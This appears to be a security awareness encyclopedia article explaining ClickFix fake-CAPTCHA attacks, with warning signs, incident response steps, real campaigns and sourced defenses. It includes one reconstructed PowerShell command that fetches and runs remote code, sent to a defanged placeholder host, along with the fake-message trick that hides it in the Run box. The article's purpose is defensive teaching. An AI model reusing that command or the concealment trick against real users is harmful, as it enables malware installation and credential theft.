Cyberpediaby Brain
ENDEFR

ClickFix and fake CAPTCHAs

A fake "I'm not a robot" check gets you to paste a command into Windows+R. How ClickFix works, how to spot it and what to do if you ran it.

In 30 seconds

Where it happens
On web pages, often well-known sites that have been hacked, and in email attachments made to look like Word documents.
What the attacker wants
For you to run a command yourself that installs a password stealer or a remote access tool on your computer.
The reflex
No genuine check will ever ask you to paste something into the Run box, PowerShell or Terminal. If a page asks you to, close it.
If it already happened
Unplug the network cable or turn off Wi-Fi, leave the computer on and call your IT support straight away.

What it is

ClickFix is a social engineering technique that gets victims to install malware themselves. A web page or an email attachment shows a fake error or a fake "I'm not a robot" check, followed by a few instructions: open a Windows command box, paste, press Enter. The page has already slipped a command onto the clipboard, and that is what the victim runs without ever reading it1.

Proofpoint saw the method as early as March 2024. The name comes from a series of fake browser update alerts, spotted in mid-April 2024, that researchers dubbed ClickFix2. Since autumn 2024, cybercriminals have been leaning on it more and more, according to France's cybersecurity agency ANSSI3. ESET measured a rise of over 500% between the second half of 2024 and the first half of 2025, which made ClickFix the second most common attack vector after phishing in its telemetry4.

Straight answers

Can a real CAPTCHA ask me to press Windows+R?

No. A CAPTCHA is solved inside the page: you tick a box, pick some images, or sometimes do nothing at all. Google advises caution with any site that asks you to leave the browser and run commands on your device5.

I pasted the command but didn't press Enter. Am I infected?

It depends on the window. In the Run box, nothing runs until you press Enter2, so close it without confirming. In PowerShell or Terminal, a paste can run on its own. In the PowerShell console, a single right-click pastes the command and runs it2, and Microsoft advises setting up Windows Terminal to warn users when pasted text contains multiple lines6. Either way, tell your IT support: your computer may be affected, and the page that asked you to do this is still booby-trapped for your colleagues.

Why doesn't my antivirus always stop it?

Because you are the one running the command, with a tool that ships with Windows, and there is no file to scan at the start. Proofpoint notes that antivirus software and endpoint detection tools struggle to inspect clipboard content, so the booby-trapped page has to be blocked before it is shown2. Microsoft says a ClickFix campaign can get past conventional, automated security solutions this way6.

1Inside the attacker's head2 min

An executable sent by email or downloaded from the web goes through several checks before it can open. ClickFix sidesteps them by handing the dangerous step to the victim: there is no file anymore, only a line of text to paste1.

Setting up a campaign takes little skill. In mid-September 2024, a researcher published an open source fake reCAPTCHA kit on GitHub "for educational purposes", and Proofpoint spotted it in malicious emails a few days later7. Since late 2024, Microsoft has seen sellers on hacker forums offering ClickFix builders, nicknamed "Win + R", with landing pages that mimic Cloudflare among others. A subscription costs between 200 and 1,500 US dollars a month. Single parts, such as the source code, the landing page or the command line, go for 200 to 500 dollars6.

Clicking "verify" runs a script that copies the command to the clipboard in the background6. The command often ends with a fake confirmation text along the lines of "I am not a robot: CAPTCHA Verification UID"6. Proofpoint explains what that fake message at the end of the command is for: once the command is pasted into the Run box, the victim doesn't see the actual malicious command7. The box takes no more than 259 characters6, and the pasted command usually just downloads the next stage from a server. PowerShell remains the Windows tool most often used for this6.

Excerpt
What the page puts on the clipboard (reconstructed example, address defanged):
powershell -w h -c "iwr hxxps://example[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821

What the victim may see in the Run box (illustration): the fake message, not the command.
...ex" # I am not a robot: CAPTCHA Verification UID: 4821
2What you see on screen2 min

The typical version: a fake CAPTCHA appears before the page you wanted, often styled after Google's reCAPTCHA or Cloudflare's Turnstile6. You click it, and it gives you instructions: open the Run box with the Windows key and R, paste with Ctrl+V, then press Enter. This is the scenario CISA and the FBI described in their May 2025 advisory on the LummaC2 data stealer8.

The setting changes with the target. In March 2024, some emails carried an attachment that looked like a Word document, with the error message "'Word Online' extension is not installed" and two buttons, "How to fix" and "Auto-fix"2. From December 2024, a campaign went after hotel staff by impersonating Booking.com, placing a fake CAPTCHA over a faint copy of a Booking.com page9.

Don't trust the look of the page, which can imitate Cloudflare, Google or Booking.com convincingly. What should stop you is the instruction itself: a web page is asking you to leave the browser and paste something into a system window. In the Brain programme, this ties in with the reflex "Identify manipulation signals in the email body". Here the manipulation signal is the set of instructions, whether it arrives by email or on a web page.

If you did run the command, act within minutes. Unplug the network cable or turn off Wi-Fi, but don't shut the computer down: in its ransomware guidance, France's Cybermalveillance.gouv.fr points out that shutting down risks erasing evidence held in memory that investigators need10. Call your IT support or security team and tell them which accounts were open on that computer. LummaC2, one of the programs installed this way, takes financial credentials, cryptocurrency wallets, browser extensions and multi-factor authentication details8, so those accounts need protecting first. In France, organisations without an IT department can follow the assistance path on 17cyber.gouv.fr10.

3Under the hoodIT teams1 min

The Run box belongs to Windows Explorer (explorer.exe), a component the system trusts6. Every command launched successfully from it leaves a trace in the RunMRU registry key, which keeps a history of what was typed there. Microsoft advises investigators to look there for calls to powershell, mshta, rundll32, wscript, curl or wget, Windows tools that can download or run code6. The article on command interpreter execution covers the wider role of PowerShell in attacks.

Microsoft recommends disabling the Run box through Group Policy for people who don't need it, turning on PowerShell script block logging and restricting which applications may run6. Google suggests that companies stop users from running scripts by default5. CISA recommends application allowlisting and separate accounts for administration8.

The technique is no longer limited to Windows. In June 2025, a ClickFix campaign targeted macOS users to install Atomic macOS Stealer6, and ESET describes it as a threat to Windows, Linux and macOS4.

4Case filesReal cases2 min

March 2024: TA571 and ClearFake

On 1 March 2024, TA571, a spam distributor, sent more than 100,000 messages to thousands of organisations with the fake Word page described above. In its spring campaigns, the command installed DarkGate, Matanbuchus or NetSupport2. From early April, the ClearFake campaign injected fake alerts into hacked legitimate websites. Proofpoint describes a chain in which a single PowerShell script could run five malware families, including the data stealer Lumma Stealer2.

September 2024: fake GitHub alerts

On 18 September 2024, attackers commented on or opened issues in GitHub repositories. The notifications GitHub then emailed to developers posed as a security warning and led to a fake GitHub site with a fake reCAPTCHA. The command installed Lumma Stealer, and Proofpoint counted at least 300 organisations affected7.

December 2024: hotels in the crosshairs

Microsoft tracks the Booking.com campaign as Storm-1865. It targeted hospitality staff in North America, Oceania, Asia and Europe, and installed XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot and NetSupport RAT among others9.

2025: intelligence services join in

Google identified LOSTKEYS, a program that steals files, and attributes it to COLDRIVER, also known as Callisto or Star Blizzard. LOSTKEYS, observed in January, March and April 2025, is delivered at the end of a chain that starts with a fake CAPTCHA: the page copies a PowerShell command and asks the user to run it from the Run box. Recent targets of the group include current and former advisers to Western governments, journalists and NGOs5. According to ANSSI, Callisto operators reportedly also used the technique in September 2025, in campaigns targeting members of civil society in Russia and NGOs involved in Ukraine. The agency adds that at least one ClickFix campaign was reported to it3.

Fact sheet

Identifier
CP-011
Wing
1. Attacks and techniques
Brain skill
Detecting Phishing (detect_phishing)
Brain reflex
Identify manipulation signals in the email body (cr-001)
Diagram
G1 · Attack vs Defense Chain
Languages
de, en, fr
Sources
10 sources checked on 26 October 2026
Sources10 sources
  1. MITRE ATT&CK, “User Execution: Malicious Copy and Paste (T1204.004)”, 18 March 2025. https://attack.mitre.org/techniques/T1204/004/ (accessed 26 October 2026)
  2. Proofpoint, “From Clipboard to Compromise: A PowerShell Self-Pwn”, 17 June 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (accessed 26 October 2026)
  3. ANSSI (French National Cybersecurity Agency), “Cyber Threat Overview 2025”, 13 May 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-003.pdf (accessed 26 October 2026)
  4. ESET (WeLiveSecurity), “ESET Threat Report H1 2025”, 26 June 2025. https://www.welivesecurity.com/en/eset-research/eset-threat-report-h1-2025/ (accessed 26 October 2026)
  5. Google Threat Intelligence Group, “COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs”, 7 May 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (accessed 26 October 2026)
  6. Microsoft Threat Intelligence, “Think before you Click(Fix): Analyzing the ClickFix social engineering technique”, 21 August 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (accessed 26 October 2026)
  7. Proofpoint, “Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape”, 18 November 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (accessed 26 October 2026)
  8. CISA and FBI, “Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations”, 21 May 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (accessed 26 October 2026)
  9. Microsoft Threat Intelligence, “Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware”, 13 March 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (accessed 26 October 2026)
  10. Cybermalveillance.gouv.fr, “Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?”, 3 June 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (accessed 26 October 2026)

Cite this article

Brain, “ClickFix and fake CAPTCHAs”, Cyberpedia, 2026. https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas/

BibTeX 
@misc{brain_cp011_en_2026,
  author = {Brain},
  title = {ClickFix and fake CAPTCHAs},
  year = {2026},
  howpublished = {Cyberpedia},
  url = {https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas/},
  note = {CC BY 4.0}
}
CC BY 4.0 licence